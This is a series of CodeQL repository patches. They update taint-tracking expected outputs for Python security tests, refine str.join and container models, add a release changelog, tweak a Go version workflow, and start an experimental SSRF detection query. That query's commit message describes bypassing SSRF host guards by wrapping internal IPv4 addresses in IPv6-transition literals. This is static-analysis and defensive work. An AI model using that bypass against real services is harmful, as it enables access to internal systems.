ControlFlowNode for Attribute() | provenance | dict.get | | reflected_xss.py:9:18:9:45 | ControlFlowNode for Attribute() | reflected_xss.py:9:5:9:14 | ControlFlowNode for first_name | provenance | | +| reflected_xss.py:21:5:21:8 | ControlFlowNode for data | reflected_xss.py:22:26:22:41 | ControlFlowNode for Attribute() | provenance | | | reflected_xss.py:21:5:21:8 | ControlFlowNode for data | reflected_xss.py:22:26:22:41 | ControlFlowNode for Attribute() | provenance | AdditionalTaintStep | | reflected_xss.py:21:23:21:29 | ControlFlowNode for request | reflected_xss.py:21:5:21:8 | ControlFlowNode for data | provenance | AdditionalTaintStep | +| reflected_xss.py:27:5:27:8 | ControlFlowNode for data | reflected_xss.py:28:26:28:41 | ControlFlowNode for Attribute() | provenance | | | reflected_xss.py:27:5:27:8 | ControlFlowNode for data | reflected_xss.py:28:26:28:41 | ControlFlowNode for Attribute() | provenance | AdditionalTaintStep | | reflected_xss.py:27:23:27:29 | ControlFlowNode for request | reflected_xss.py:27:5:27:8 | ControlFlowNode for data | provenance | AdditionalTaintStep | nodes diff --git a/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/CleartextStorage.expected b/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/CleartextStorage.expected index c3c1206ce92..ea41c1ba651 100644 --- a/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/CleartextStorage.expected +++ b/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/CleartextStorage.expected @@ -4,9 +4,11 @@ edges | password_in_cookie.py:14:5:14:12 | ControlFlowNode for password | password_in_cookie.py:16:33:16:40 | ControlFlowNode for password | provenance | | | password_in_cookie.py:14:16:14:43 | ControlFlowNode for Attribute() | password_in_cookie.py:14:5:14:12 | ControlFlowNode for password | provenance | | | test.py:15:5:15:12 | ControlFlowNode for password | test.py:17:20:17:27 | ControlFlowNode for password | provenance | | -| test.py:15:5:15:12 | ControlFlowNode for password | test.py:18:9:18:13 | ControlFlowNode for lines | provenance | | +| test.py:15:5:15:12 | ControlFlowNode for password | test.py:18:18:18:32 | ControlFlowNode for BinaryExpr | provenance | | | test.py:15:16:15:29 | ControlFlowNode for get_password() | test.py:15:5:15:12 | ControlFlowNode for password | provenance | | -| test.py:18:9:18:13 | ControlFlowNode for lines | test.py:19:25:19:29 | ControlFlowNode for lines | provenance | | +| test.py:18:9:18:13 | ControlFlowNode for lines [List element] | test.py:19:25:19:29 | ControlFlowNode for lines | provenance | | +| test.py:18:17:18:33 | ControlFlowNode for List [List element] | test.py:18:9:18:13 | ControlFlowNode for lines [List element] | provenance | | +| test.py:18:18:18:32 | ControlFlowNode for BinaryExpr | test.py:18:17:18:33 | ControlFlowNode for List [List element] | provenance | | nodes | password_in_cookie.py:7:5:7:12 | ControlFlowNode for password | semmle.label | ControlFlowNode for password | | password_in_cookie.py:7:16:7:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | @@ -17,7 +19,9 @@ nodes | test.py:15:5:15:12 | ControlFlowNode for password | semmle.label | ControlFlowNode for password | | test.py:15:16:15:29 | ControlFlowNode for get_password() | semmle.label | ControlFlowNode for get_password() | | test.py:17:20:17:27 | ControlFlowNode for password | semmle.label | ControlFlowNode for password | -| test.py:18:9:18:13 | ControlFlowNode for lines | semmle.label | ControlFlowNode for lines | +| test.py:18:9:18:13 | ControlFlowNode for lines [List element] | semmle.label | ControlFlowNode for lines [List element] | +| test.py:18:17:18:33 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:18:18:18:32 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | | test.py:19:25:19:29 | ControlFlowNode for lines | semmle.label | ControlFlowNode for lines | subpaths #select diff --git a/python/ql/test/query-tests/Security/CWE-943-NoSqlInjection/NoSqlInjection.expected b/python/ql/test/query-tests/Security/CWE-943-NoSqlInjection/NoSqlInjection.expected index 2ff9a0d10b7..fad6762e0f6 100644 --- a/python/ql/test/query-tests/Security/CWE-943-NoSqlInjection/NoSqlInjection.expected +++ b/python/ql/test/query-tests/Security/CWE-943-NoSqlInjection/NoSqlInjection.expected @@ -133,6 +133,7 @@ edges | pymongo_test.py:54:5:54:10 | ControlFlowNode for search [Dictionary element at key body] | pymongo_test.py:59:49:59:54 | ControlFlowNode for search [Dictionary element at key body] | provenance | | | pymongo_test.py:54:14:58:5 | ControlFlowNode for Dict | pymongo_test.py:54:5:54:10 | ControlFlowNode for search | provenance | | | pymongo_test.py:54:14:58:5 | ControlFlowNode for Dict [Dictionary element at key body] | pymongo_test.py:54:5:54:10 | ControlFlowNode for search [Dictionary element at key body] | provenance | | +| pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:54:14:58:5 | ControlFlowNode for Dict | provenance | | | pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:54:14:58:5 | ControlFlowNode for Dict | provenance | Decoding-NoSQL | | pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:54:14:58:5 | ControlFlowNode for Dict [Dictionary element at key body] | provenance | | | pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:61:49:61:55 | ControlFlowNode for decoded | provenance | | From b27d08ee32c678985aa73e73ef00090becd736d0 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 2 Jun 2026 18:29:56 +0100 Subject: [PATCH 034/143] Update edges in expected test output --- .../Security/CWE-091-XsltInjection/XsltInjection.expected | 1 + .../frameworks/gradio/taint_step_test.expected | 6 +++++- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/XsltInjection.expected b/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/XsltInjection.expected index 8c64cccebc1..8d960a22dfd 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/XsltInjection.expected +++ b/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/XsltInjection.expected @@ -64,6 +64,7 @@ edges | xsltInjection.py:46:38:46:48 | ControlFlowNode for xsltStrings [List element] | xsltInjection.py:46:17:46:49 | ControlFlowNode for Attribute() | provenance | | | xsltInjection.py:46:38:46:48 | ControlFlowNode for xsltStrings [List element] | xsltInjection.py:46:17:46:49 | ControlFlowNode for Attribute() | provenance | Config | | xsltInjection.py:46:38:46:48 | ControlFlowNode for xsltStrings [List element] | xsltInjection.py:46:17:46:49 | ControlFlowNode for Attribute() | provenance | Decoding-XML | +| xsltInjection.py:46:38:46:48 | ControlFlowNode for xsltStrings [List element] | xsltInjection.py:46:17:46:49 | ControlFlowNode for Attribute() | provenance | MaD:58660 | nodes | xslt.py:3:26:3:32 | ControlFlowNode for ImportMember | semmle.label | ControlFlowNode for ImportMember | | xslt.py:3:26:3:32 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | diff --git a/python/ql/test/library-tests/frameworks/gradio/taint_step_test.expected b/python/ql/test/library-tests/frameworks/gradio/taint_step_test.expected index 2ebf825a19b..e617488aac1 100644 --- a/python/ql/test/library-tests/frameworks/gradio/taint_step_test.expected +++ b/python/ql/test/library-tests/frameworks/gradio/taint_step_test.expected @@ -3,10 +3,12 @@ edges | taint_step_test.py:5:12:5:35 | ControlFlowNode for Attribute() | taint_step_test.py:5:5:5:8 | ControlFlowNode for path | provenance | | | taint_step_test.py:6:5:6:8 | ControlFlowNode for file | taint_step_test.py:19:48:19:51 | ControlFlowNode for file | provenance | | | taint_step_test.py:6:12:6:35 | ControlFlowNode for Attribute() | taint_step_test.py:6:5:6:8 | ControlFlowNode for file | provenance | | -| taint_step_test.py:11:18:11:21 | ControlFlowNode for path | taint_step_test.py:12:9:12:16 | ControlFlowNode for filepath | provenance | | | taint_step_test.py:11:18:11:21 | ControlFlowNode for path | taint_step_test.py:12:9:12:16 | ControlFlowNode for filepath | provenance | AdditionalTaintStep | +| taint_step_test.py:11:18:11:21 | ControlFlowNode for path | taint_step_test.py:12:33:12:36 | ControlFlowNode for path | provenance | | | taint_step_test.py:11:24:11:27 | ControlFlowNode for file | taint_step_test.py:12:9:12:16 | ControlFlowNode for filepath | provenance | AdditionalTaintStep | | taint_step_test.py:12:9:12:16 | ControlFlowNode for filepath | taint_step_test.py:13:19:13:26 | ControlFlowNode for filepath | provenance | | +| taint_step_test.py:12:20:12:43 | ControlFlowNode for Attribute() | taint_step_test.py:12:9:12:16 | ControlFlowNode for filepath | provenance | | +| taint_step_test.py:12:33:12:36 | ControlFlowNode for path | taint_step_test.py:12:20:12:43 | ControlFlowNode for Attribute() | provenance | str.join | | taint_step_test.py:19:43:19:46 | ControlFlowNode for path | taint_step_test.py:11:18:11:21 | ControlFlowNode for path | provenance | AdditionalTaintStep | | taint_step_test.py:19:48:19:51 | ControlFlowNode for file | taint_step_test.py:11:24:11:27 | ControlFlowNode for file | provenance | AdditionalTaintStep | nodes @@ -17,6 +19,8 @@ nodes | taint_step_test.py:11:18:11:21 | ControlFlowNode for path | semmle.label | ControlFlowNode for path | | taint_step_test.py:11:24:11:27 | ControlFlowNode for file | semmle.label | ControlFlowNode for file | | taint_step_test.py:12:9:12:16 | ControlFlowNode for filepath | semmle.label | ControlFlowNode for filepath | +| taint_step_test.py:12:20:12:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | +| taint_step_test.py:12:33:12:36 | ControlFlowNode for path | semmle.label | ControlFlowNode for path | | taint_step_test.py:13:19:13:26 | ControlFlowNode for filepath | semmle.label | ControlFlowNode for filepath | | taint_step_test.py:19:43:19:46 | ControlFlowNode for path | semmle.label | ControlFlowNode for path | | taint_step_test.py:19:48:19:51 | ControlFlowNode for file | semmle.label | ControlFlowNode for file | From 04341c47bdb710c03d6514e886edfd74094ae125 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 2 Jun 2026 21:52:46 +0100 Subject: [PATCH 035/143] Tweak model for str.join --- .../lib/semmle/python/frameworks/Stdlib.qll | 24 ++++++++++++++----- 1 file changed, 18 insertions(+), 6 deletions(-) diff --git a/python/ql/lib/semmle/python/frameworks/Stdlib.qll b/python/ql/lib/semmle/python/frameworks/Stdlib.qll index 05e7a629de6..30e27934a29 100644 --- a/python/ql/lib/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/lib/semmle/python/frameworks/Stdlib.qll @@ -4277,9 +4277,14 @@ module StdlibPrivate { preservesValue = true ) or - input = ["Argument[0]", "Argument[0].ListElement"] and - output = "ReturnValue" and - preservesValue = false + ( + input = "Argument[0]" and + preservesValue = false + or + input = "Argument[0].ListElement" and + preservesValue = true + ) and + output = "ReturnValue" } } @@ -4985,9 +4990,16 @@ module StdlibPrivate { } override predicate propagatesFlow(string input, string output, boolean preservesValue) { - input = ["Argument[0,iterable:]", "Argument[0,iterable:].ListElement"] and - output = "ReturnValue" and - preservesValue = false + ( + // For code like `" ".join([name])` + input = "Argument[0,iterable:].ListElement" and + preservesValue = true + or + // For code like `" ".join(name)` + input = "Argument[0,iterable:]" and + preservesValue = false + ) and + output = "ReturnValue" } } From 5042fdee8494763812de02252948d26884f4429a Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 2 Jun 2026 21:53:14 +0100 Subject: [PATCH 036/143] Remove imprecise model for `list()` --- python/ql/lib/semmle/python/frameworks/Stdlib.qll | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/python/ql/lib/semmle/python/frameworks/Stdlib.qll b/python/ql/lib/semmle/python/frameworks/Stdlib.qll index 30e27934a29..d41b656c6d5 100644 --- a/python/ql/lib/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/lib/semmle/python/frameworks/Stdlib.qll @@ -4244,15 +4244,9 @@ module StdlibPrivate { ) // TODO: Once we have DictKeyContent, we need to transform that into ListElementContent ) and - ( - // Element content is mutated into list element content - output = "ReturnValue.ListElement" and - preservesValue = true - or - // Since list content is imprecise, we also taint the list. - output = "ReturnValue" and - preservesValue = false - ) + // Element content is mutated into list element content + output = "ReturnValue.ListElement" and + preservesValue = true or input = "Argument[0]" and output = "ReturnValue" and From 6f2cc43f32bd6e1a8822425542fc199a534cd41d Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 2 Jun 2026 21:55:58 +0100 Subject: [PATCH 037/143] Remove imprecise model for `tuple()` --- python/ql/lib/semmle/python/frameworks/Stdlib.qll | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/python/ql/lib/semmle/python/frameworks/Stdlib.qll b/python/ql/lib/semmle/python/frameworks/Stdlib.qll index d41b656c6d5..014ef4e9f64 100644 --- a/python/ql/lib/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/lib/semmle/python/frameworks/Stdlib.qll @@ -4271,14 +4271,9 @@ module StdlibPrivate { preservesValue = true ) or - ( - input = "Argument[0]" and - preservesValue = false - or - input = "Argument[0].ListElement" and - preservesValue = true - ) and - output = "ReturnValue" + input = "Argument[0].ListElement" and + output = "ReturnValue" and + preservesValue = true } } From da999ee440f951e82b0c776c0c8c025f2ed8fc1d Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Wed, 3 Jun 2026 21:24:16 +0100 Subject: [PATCH 038/143] Address review comments --- .../python/dataflow/new/internal/TaintTrackingPrivate.qll | 4 +++- python/ql/lib/semmle/python/frameworks/Stdlib.qll | 4 ---- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll b/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll index 02c43f874bf..2213ff35b1b 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll @@ -188,7 +188,9 @@ predicate containerStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { exists(DataFlow::Content c | c = contentSet.getAReadContent() | c instanceof DataFlow::TupleElementContent or c instanceof DataFlow::DictionaryElementContent or - c instanceof DataFlow::DictionaryElementAnyContent + c instanceof DataFlow::DictionaryElementAnyContent or + c instanceof DataFlow::ListElementContent or + c instanceof DataFlow::SetElementContent ) ) } diff --git a/python/ql/lib/semmle/python/frameworks/Stdlib.qll b/python/ql/lib/semmle/python/frameworks/Stdlib.qll index 014ef4e9f64..9364203436d 100644 --- a/python/ql/lib/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/lib/semmle/python/frameworks/Stdlib.qll @@ -4983,10 +4983,6 @@ module StdlibPrivate { // For code like `" ".join([name])` input = "Argument[0,iterable:].ListElement" and preservesValue = true - or - // For code like `" ".join(name)` - input = "Argument[0,iterable:]" and - preservesValue = false ) and output = "ReturnValue" } From b32573b0603476b66d604f2ba6632d7d88f6b926 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 4 Jun 2026 14:57:38 +0000 Subject: [PATCH 039/143] update codeql documentation --- .../codeql-changelog/codeql-cli-2.25.6.rst | 139 ++++++++++++++++++ .../codeql-changelog/index.rst | 1 + 2 files changed, 140 insertions(+) create mode 100644 docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.25.6.rst diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.25.6.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.25.6.rst new file mode 100644 index 00000000000..7ab4ffb0db9 --- /dev/null +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.25.6.rst @@ -0,0 +1,139 @@ +.. _codeql-cli-2.25.6: + +========================== +CodeQL 2.25.6 (2026-06-04) +========================== + +.. contents:: Contents + :depth: 2 + :local: + :backlinks: none + +This is an overview of changes in the CodeQL CLI and relevant CodeQL query and library packs. For additional updates on changes to the CodeQL code scanning experience, check out the `code scanning section on the GitHub blog `__, `relevant GitHub Changelog updates `__, `changes in the CodeQL extension for Visual Studio Code `__, and the `CodeQL Action changelog `__. + +Security Coverage +----------------- + +CodeQL 2.25.6 runs a total of 496 security queries when configured with the Default suite (covering 169 CWE). The Extended suite enables an additional 131 queries (covering 32 more CWE). + +CodeQL CLI +---------- + +Improvements +~~~~~~~~~~~~ + +* When the :code:`git` executable is available, CodeQL can now obtain configuration and queries from SHA-256 Git repositories, and infer Git metadata about them. + +Miscellaneous +~~~~~~~~~~~~~ + +* The build of Eclipse Temurin OpenJDK that is used to run the CodeQL CLI has been updated to version 21.0.11. + +Query Packs +----------- + +Bug Fixes +~~~~~~~~~ + +GitHub Actions +"""""""""""""" + +* Adjusted (minor) help file descriptions for queries: :code:`actions/untrusted-checkout/critical`, :code:`actions/untrusted-checkout/high`, :code:`actions/untrusted-checkout/medium`. Clarified wording on in minor point, added one more listed resource and added one more recommendation for things to check. + +Major Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +GitHub Actions +"""""""""""""" + +* Adjusted :code:`actions/untrusted-checkout/critical` to align more with other untrusted resource queries, where the alert location is the location where the artifact is obtained from (the checkout point). This aligns with the other 2 related queries. This will cause the same alerts to re-open for closed alerts of this query. + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +GitHub Actions +"""""""""""""" + +* Altered the alert message for clarity for queries: :code:`actions/untrusted-checkout/critical`, :code:`actions/untrusted-checkout/high`. +* The :code:`actions/unpinned-tag` query now recognizes 64-character SHA-256 commit hashes as properly pinned references, in addition to 40-character SHA-1 hashes. + +Query Metadata Changes +~~~~~~~~~~~~~~~~~~~~~~ + +GitHub Actions +"""""""""""""" + +* Reversed adjustment of the name of :code:`actions/untrusted-checkout/high`, but kept the portion of the previous change for the word "trusted" to "privileged". Added a missing "a" to phrasing in :code:`actions/untrusted-checkout/high` and :code:`actions/untrusted-checkout/medium`. + +Language Libraries +------------------ + +Major Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Swift +""""" + +* Upgraded to allow analysis of Swift 6.3.2. + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +C/C++ +""""" + +* Added flow source models for :code:`scanf_s` and related functions. +* Added a :code:`Call` column to :code:`LocalFlowSourceFunction::hasLocalFlowSource` and :code:`RemoteFlowSourceFunction::hasRemoteFlowSource`. The old predicates without a :code:`Call` column continue to be supported. + +C# +"" + +* Full support for C# 14 / .NET 10. All new language features are now supported by the extractor. The QL library and data flow analysis now support the new C# 14 language constructs and include generated Models as Data (MaD) models for the .NET 10 runtime. +* C# 14: Added support for user-defined instance increment/decrement operators. + +Java/Kotlin +""""""""""" + +* Added LLM-generated source and sink models for :code:`org.apache.avro`. + +JavaScript/TypeScript +""""""""""""""""""""" + +* The sensitive data heuristics used to identify code that handles passwords and private data have been improved. Most of the changes permit more variations of established patterns, thereby finding more sensitive data. Queries that use the sensitive data library (for example :code:`js/clear-text-logging`) may find more correct results and fewer false positive results after these changes. + +Python +"""""" + +* The sensitive data heuristics used to identify code that handles passwords and private data have been improved. Most of the changes permit more variations of established patterns, thereby finding more sensitive data. Queries that use the sensitive data library (for example :code:`py/clear-text-logging-sensitive-data`) may find more correct results and less fewer positive results after these changes. + +Swift +""""" + +* The sensitive data heuristics used to identify code that handles passwords and private data have been improved. Most of the changes permit more variations of established patterns, thereby finding more sensitive data. Queries that use the sensitive data library (for example :code:`swift/cleartext-logging`) may find more correct results and fewer false positive results after these changes. + +GitHub Actions +"""""""""""""" + +* The GitHub Actions analysis now recognizes more Bash regex checks that restrict a value to alphanumeric characters, include regexes like :code:`^[0-9a-zA-Z]{40}([0-9a-zA-Z]{24})?$` which check for a sha1 or sha256 hash. This may reduce false positive results where command output is validated with grouped or optional alphanumeric patterns before being used. + +Rust +"""" + +* The sensitive data heuristics used to identify code that handles passwords and private data have been improved. Most of the changes permit more variations of established patterns, thereby finding more sensitive data. Queries that use the sensitive data library (for example :code:`rust/cleartext-logging`) may find more correct results and fewer false positive results after these changes. + +Deprecated APIs +~~~~~~~~~~~~~~~ + +C/C++ +""""" + +* The :code:`UsingAliasTypedefType` class has been deprecated. Use :code:`TypeAliasType` instead. + +New Features +~~~~~~~~~~~~ + +C/C++ +""""" + +* Added a :code:`getOriginalTemplate` predicate to :code:`TemplateClass`, :code:`TemplateFunction`, :code:`TemplateVariable`, and :code:`AliasTemplateType`, which yields the class member template the template was generated from. The predicates only have results for templates that are members of class template instantiations. +* Added :code:`AliasTemplateType` and :code:`AliasTemplateInstantiationType` classes, representing C++ alias templates and their instantiations. diff --git a/docs/codeql/codeql-overview/codeql-changelog/index.rst b/docs/codeql/codeql-overview/codeql-changelog/index.rst index 3ed98bad8d1..ac4a8041faa 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/index.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/index.rst @@ -11,6 +11,7 @@ A list of queries for each suite and language `is available here Date: Thu, 4 Jun 2026 19:36:45 +0000 Subject: [PATCH 040/143] update codeql documentation --- .../codeql-overview/codeql-changelog/codeql-cli-2.25.6.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.25.6.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.25.6.rst index 7ab4ffb0db9..21d67e16229 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.25.6.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.25.6.rst @@ -38,7 +38,7 @@ Bug Fixes GitHub Actions """""""""""""" -* Adjusted (minor) help file descriptions for queries: :code:`actions/untrusted-checkout/critical`, :code:`actions/untrusted-checkout/high`, :code:`actions/untrusted-checkout/medium`. Clarified wording on in minor point, added one more listed resource and added one more recommendation for things to check. +* Adjusted (minor) help file descriptions for queries: :code:`actions/untrusted-checkout/critical`, :code:`actions/untrusted-checkout/high`, :code:`actions/untrusted-checkout/medium`. Clarified wording on a minor point, added one more listed resource and added one more recommendation for things to check. Major Analysis Improvements ~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -104,7 +104,7 @@ JavaScript/TypeScript Python """""" -* The sensitive data heuristics used to identify code that handles passwords and private data have been improved. Most of the changes permit more variations of established patterns, thereby finding more sensitive data. Queries that use the sensitive data library (for example :code:`py/clear-text-logging-sensitive-data`) may find more correct results and less fewer positive results after these changes. +* The sensitive data heuristics used to identify code that handles passwords and private data have been improved. Most of the changes permit more variations of established patterns, thereby finding more sensitive data. Queries that use the sensitive data library (for example :code:`py/clear-text-logging-sensitive-data`) may find more correct results and fewer false positive results after these changes. Swift """"" @@ -114,7 +114,7 @@ Swift GitHub Actions """""""""""""" -* The GitHub Actions analysis now recognizes more Bash regex checks that restrict a value to alphanumeric characters, include regexes like :code:`^[0-9a-zA-Z]{40}([0-9a-zA-Z]{24})?$` which check for a sha1 or sha256 hash. This may reduce false positive results where command output is validated with grouped or optional alphanumeric patterns before being used. +* The GitHub Actions analysis now recognizes more Bash regex checks that restrict a value to alphanumeric characters, including regexes like :code:`^[0-9a-zA-Z]{40}([0-9a-zA-Z]{24})?$` which check for a SHA-1 or SHA-256 hash. This may reduce false positive results where command output is validated with grouped or optional alphanumeric patterns before being used. Rust """" From ef29d22c75ed9f70a7e07cb68eb655e21dc39bd9 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sat, 6 Jun 2026 01:03:44 +0000 Subject: [PATCH 041/143] Update Go version workflow to include patch numbers in messages --- .github/workflows/go-version-update.yml | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/workflows/go-version-update.yml b/.github/workflows/go-version-update.yml index 3cd8f72690f..1007e9f1ba3 100644 --- a/.github/workflows/go-version-update.yml +++ b/.github/workflows/go-version-update.yml @@ -163,7 +163,7 @@ jobs: # Stage and commit changes git add MODULE.bazel go/extractor/go.mod go/extractor/autobuilder/build-environment.go go/actions/test/action.yml - git commit -m "Go: Update to $LATEST_MAJOR_MINOR" + git commit -m "Go: Update to $LATEST_VERSION_NUM" # Push changes git push -f origin "$BRANCH_NAME" @@ -174,13 +174,13 @@ jobs: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | BRANCH_NAME="workflow/go-version-update" - LATEST_MAJOR_MINOR="${{ steps.fetch-version.outputs.major_minor }}" - CURRENT_MAJOR_MINOR="${{ steps.current-version.outputs.major_minor }}" + LATEST_VERSION_NUM="${{ steps.fetch-version.outputs.version_num }}" + CURRENT_VERSION="${{ steps.current-version.outputs.version }}" - PR_TITLE="Go: Update to $LATEST_MAJOR_MINOR" + PR_TITLE="Go: Update to $LATEST_VERSION_NUM" PR_BODY=$(cat < Date: Sat, 6 Jun 2026 02:31:16 +0100 Subject: [PATCH 042/143] Minor improvement to PR text --- .github/workflows/go-version-update.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/go-version-update.yml b/.github/workflows/go-version-update.yml index 1007e9f1ba3..2adf2b90549 100644 --- a/.github/workflows/go-version-update.yml +++ b/.github/workflows/go-version-update.yml @@ -185,7 +185,7 @@ jobs: Updated files: - \`MODULE.bazel\` - go_sdk.download version - \`go/extractor/go.mod\` - go directive and toolchain - - \`go/extractor/autobuilder/build-environment.go\` - maxGoVersion + - \`go/extractor/autobuilder/build-environment.go\` - maxGoVersion (only if MAJOR.MINOR changes) - \`go/actions/test/action.yml\` - default go-test-version This PR was automatically created by the [Go version update workflow](https://github.com/${{ github.repository }}/blob/main/.github/workflows/go-version-update.yml). From a1759d983472421b5ac966d6b909c0efdcfb36b3 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <62447351+owen-mc@users.noreply.github.com> Date: Sat, 6 Jun 2026 02:51:36 +0100 Subject: [PATCH 043/143] Use --force-with-lease for slightly improved safety Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com> --- .github/workflows/go-version-update.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/go-version-update.yml b/.github/workflows/go-version-update.yml index 2adf2b90549..b7581bdf09e 100644 --- a/.github/workflows/go-version-update.yml +++ b/.github/workflows/go-version-update.yml @@ -166,7 +166,7 @@ jobs: git commit -m "Go: Update to $LATEST_VERSION_NUM" # Push changes - git push -f origin "$BRANCH_NAME" + git push --force-with-lease origin "$BRANCH_NAME" - name: Create or update PR if: steps.check-changes.outputs.has_changes == 'true' From 292fc8b7778eac54fb969519ec649add6662a14b Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <62447351+owen-mc@users.noreply.github.com> Date: Sat, 6 Jun 2026 02:52:21 +0100 Subject: [PATCH 044/143] Fix detection of failed text replacement I checked and the comment seems to be correct. Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com> --- .github/workflows/go-version-update.yml | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/.github/workflows/go-version-update.yml b/.github/workflows/go-version-update.yml index b7581bdf09e..6c22f344510 100644 --- a/.github/workflows/go-version-update.yml +++ b/.github/workflows/go-version-update.yml @@ -96,8 +96,10 @@ jobs: CURRENT_MAJOR_MINOR_ESCAPED=$(echo "$CURRENT_MAJOR_MINOR" | sed 's/\./\\./g') # Update MODULE.bazel - if ! sed -i "s/go_sdk\.download(version = \"$CURRENT_VERSION_ESCAPED\")/go_sdk.download(version = \"$LATEST_VERSION_NUM\")/" MODULE.bazel; then - echo "Warning: Failed to update MODULE.bazel" + sed -i "s/go_sdk\.download(version = \"$CURRENT_VERSION_ESCAPED\")/go_sdk.download(version = \"$LATEST_VERSION_NUM\")/" MODULE.bazel + if ! grep -q "go_sdk.download(version = \"$LATEST_VERSION_NUM\")" MODULE.bazel; then + echo "Error: Failed to update MODULE.bazel" + exit 1 fi # Update go/extractor/go.mod From e93bc11f6f9e0f2887b6189db4b2f331927d92eb Mon Sep 17 00:00:00 2001 From: tonghuaroot <23011166+tonghuaroot@users.noreply.github.com> Date: Sat, 6 Jun 2026 21:47:24 +0800 Subject: [PATCH 045/143] Add experimental JS query for SSRF guards missing IPv6-transition unwrap Add javascript/ssrf-ipv6-transition-incomplete-guard, an experimental @kind problem query that flags hand-rolled SSRF host guards which reject private/loopback IPv4 ranges but never unwrap IPv6-transition forms (IPv4-mapped ::ffff:, NAT64 64:ff9b::, 6to4 2002::). Such guards can be bypassed by wrapping an internal IPv4 address in a transition literal. Includes a .qhelp with good/bad examples, a change note, and a test pack with two true-positive fixtures (private-ip package guard and a hand-written RFC 1918 denylist) and two negative-control fixtures (ipaddr.js range classifier and an explicit ::ffff: unwrap). Signed-off-by: tonghuaroot <23011166+tonghuaroot@users.noreply.github.com> --- ...6-ssrf-ipv6-transition-incomplete-guard.md | 4 + .../SsrfIpv6TransitionIncompleteGuard.qhelp | 59 ++++++++ .../SsrfIpv6TransitionIncompleteGuard.ql | 129 ++++++++++++++++++ .../SsrfIpv6TransitionIncompleteGuardBad.js | 14 ++ .../SsrfIpv6TransitionIncompleteGuardGood.js | 16 +++ ...SsrfIpv6TransitionIncompleteGuard.expected | 2 + .../SsrfIpv6TransitionIncompleteGuard.qlref | 1 + .../bad-private-ip-pkg.js | 13 ++ .../bad-rfc1918-regex.js | 18 +++ .../good-explicit-unwrap.js | 32 +++++ .../good-ipaddr.js | 16 +++ 11 files changed, 304 insertions(+) create mode 100644 javascript/ql/src/change-notes/2026-06-06-ssrf-ipv6-transition-incomplete-guard.md create mode 100644 javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.qhelp create mode 100644 javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.ql create mode 100644 